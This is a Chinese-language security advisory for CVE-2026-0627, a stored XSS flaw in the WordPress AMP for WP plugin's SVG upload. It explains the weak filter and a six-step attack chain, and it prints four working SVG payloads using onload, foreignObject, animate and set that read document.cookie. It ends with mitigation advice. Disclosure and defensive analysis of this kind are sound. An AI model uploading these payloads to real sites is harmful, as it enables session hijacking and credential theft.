IPBUF安全漏洞报告
English
CVE-2026-0627 CVSS 6.4 中危

CVE-2026-0627 WordPress AMP for WP插件SVG上传存储型XSS漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2026-0627
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AMP for WP (Accelerated Mobile Pages)

相关标签

存储型XSSSVG上传WordPress插件AMP for WPCVE-2026-0627跨站脚本WordPress安全认证用户攻击

漏洞概述

AMP for WP是WordPress平台上广泛使用的移动端页面加速插件。该插件在1.1.10及之前版本中存在严重的存储型跨站脚本(XSS)漏洞,源于其SVG文件上传功能的安全过滤机制不完善。插件仅对SVG文件内容进行基础的`<script>`标签移除操作,但未能过滤其他XSS攻击向量,包括事件处理器属性(如onload、onerror、onmouseover)、foreignObject元素以及SVG动画属性等。这使得具有Author级别及以上权限的认证攻击者能够通过上传恶意构造的SVG文件,在目标网站中注入任意Web脚本。由于SVG文件通常会被WordPress媒体库存储并可被其他用户访问,所有访问该恶意文件的用户都将自动执行攻击者植入的恶意代码,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。

技术细节

该漏洞的核心问题在于SVG文件解析的安全边界。SVG作为XML格式的矢量图形,支持内联JavaScript、事件绑定和外部实体引用。插件的features.php文件(第10373行附近)对上传的SVG内容进行了不完整的安全检查,仅使用简单的正则表达式或字符串操作移除`<script>`标签。然而,SVG标准允许通过多种方式执行JavaScript代码:1) 事件属性如`<svg onload=alert(1)>`可直接触发脚本;2) `<foreignObject>`元素可嵌入任意HTML和脚本;3) `<animate>`等动画元素的`onbegin`、`onend`属性可执行代码;4) `<set>`元素配合`attributeName`和`to`属性可动态修改元素属性。攻击者只需构造包含上述任意一种向量的SVG文件并通过插件的文件上传功能上传,即可在文件被访问时自动执行恶意代码。由于WordPress媒体库会为所有上传文件生成访问URL,攻击者可通过社交工程诱导管理员或其他用户访问该文件,从而实现持久化的攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和AMP for WP插件,确认插件版本在1.1.10或更早版本
STEP 2
步骤2: 账户获取
攻击者获取WordPress网站的Author级别或更高权限的账户,可通过钓鱼、密码爆破或社工手段实现
STEP 3
步骤3: 恶意SVG构造
攻击者构造包含XSS payload的恶意SVG文件,利用onload、onerror、foreignObject等SVG特定XSS向量绕过简单的script标签过滤
STEP 4
步骤4: 文件上传
通过AMP for WP插件的文件上传功能上传恶意SVG文件,文件被存储到WordPress媒体库
STEP 5
步骤5: 触发执行
诱导其他用户(特别是管理员)访问上传的恶意SVG文件URL,触发存储型XSS payload执行
STEP 6
步骤6: 攻击完成
攻击者成功窃取用户会话cookie、凭据或其他敏感信息,或在受害者浏览器中执行任意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-0627 PoC - Malicious SVG file for AMP for WP XSS --> <!-- Save this as malicious.svg and upload via AMP for WP plugin --> <!-- Method 1: Using onload event handler --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <rect width="100" height="100" fill="red"/> </svg> <!-- Method 2: Using foreignObject to embed HTML/JS --> <svg xmlns="http://www.w3.org/2000/svg"> <foreignObject width="200" height="200"> <div xmlns="http://www.w3.org/1999/xhtml"> <script>alert(document.cookie)</script> </div> </foreignObject> </svg> <!-- Method 3: Using animate element onbegin event --> <svg xmlns="http://www.w3.org/2000/svg"> <animate onbegin="alert(document.domain)" attributeName="x" dur="1s" fill="freeze"/> <rect x="0" y="0" width="100" height="100"/> </svg> <!-- Method 4: Using set element to modify href --> <svg xmlns="http://www.w3.org/2000/svg"> <a id="xlink"> <set attributeName="xlink:href" to="javascript:alert(document.cookie)"/> <text y="20">Click me</text> </a> </svg>

影响范围

AMP for WP (Accelerated Mobile Pages) <= 1.1.10

防御指南

临时缓解措施
立即限制非管理员用户上传SVG文件,或暂时禁用AMP for WP插件的SVG上传功能。同时在Web服务器层面配置MIME类型检查,拒绝非法的SVG Content-Type请求。对于必须使用SVG的场景,建议使用独立的图片CDN服务处理SVG文件,并在CDN层面实施安全过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表